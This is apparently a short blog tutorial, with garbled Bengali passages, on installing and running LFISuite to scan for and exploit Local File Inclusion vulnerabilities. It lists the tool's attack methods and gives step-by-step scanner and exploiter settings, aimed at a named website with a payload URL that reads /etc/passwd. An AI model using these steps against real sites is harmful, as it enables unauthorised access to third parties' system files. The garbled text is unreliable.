What is LFISuite?
LFI Suite is a totally automatic tool able to scan and exploit Local File Inclusion vulnerabilities using many different methods of attack, listed in the section
LFI Vulnerability เฆเฆฟ?
LFI เฆนเฆฒ เฆเฆเฆเฆฟ เฆเฆฏเฆผเงเฆฌ เฆฆเงเฆฐเงเฆฌเฆฒเฆคเฆพ เฆฏเฆพ เฆเฆฏเฆผเงเฆฌเฆธเฆพเฆเฆ เฆฌเฆพ เฆเฆฏเฆผเงเฆฌ เฆ
เงเฆฏเฆพเฆชเงเฆฒเฆฟเฆเงเฆถเฆจ เฆชเงเฆฐเงเฆเงเฆฐเฆพเฆฎเฆพเฆฐเฆฆเงเฆฐ เฆญเงเฆฒเงเฆฐ เฆซเฆฒเง เฆนเฆฏเฆผเฅค เฆนเงเฆฏเฆพเฆเฆพเฆฐ Malicious เฆซเฆพเฆเฆฒเฆเงเฆฒเฆฟ Inject เฆเฆฐเฆพเฆฐ เฆเฆจเงเฆฏ เฆเฆ เฆฆเงเฆฐเงเฆฌเฆฒเฆคเฆพเฆฐ เฆธเงเฆฌเฆฟเฆงเฆพ เฆจเฆฟเฆคเง เฆชเฆพเฆฐเง เฆฏเฆพเฆฐ เฆฎเฆพเฆฆเงเฆงเฆฎเง เฆเงเงเฆฌเฆธเฆพเฆเฆ / เฆเงเงเฆฌ เฆเฆชเงเฆฒเฆฟเฆเงเฆถเฆจ เฆ เฆเฆเงเฆธเงเฆธ เฆจเฆฟเฆคเง เฆชเฆพเฆฐเงเฅค
LFI Suite Provides 8 different Local File Inclusion attack modalities:
โ /proc/self/environ
โ php://filter
โ php://input
โ /proc/self/fd
โ access log
โ phpinfo
โ data://
โ expect://
How to Use LFI Suite
> Kali > sudo su > password
> cd Desktop
> git clone https://github.com/D35m0nd142/LFISuite
> cd LFISuite
> ls
> la -la
> chmod +x lfisuite.py
> python2 lfisuite.py
If you get error put this cmd in kali
cp -r /usr/lib/python3/dist-packages/termcolor.py /usr/lib/python2.7/dist-packages
LFI Suite Scanner
โ for scan select 2
โ cookoies: enter
โ tor proxy: no
โ paths: enter
โ url to scan: https://ravagedband.com/index.php?page=home.php
Check LFI Vulnerability
LFI Suite will scan your link and find LFI Vulnerability of your link (CNTRL + Z to stop scanning)
LFI Suite Exploiter
โ for Exploiter select 1
โ cookoies: enter
โ tor proxy: no
โ choose payloads: 1
โ enter Vulnerabile URL: https://ravagedband.com/index.php?page=/etc/passwd
โ choose parameter: 1
Now it will show you the result
Read more ethical hacking blogs from here.
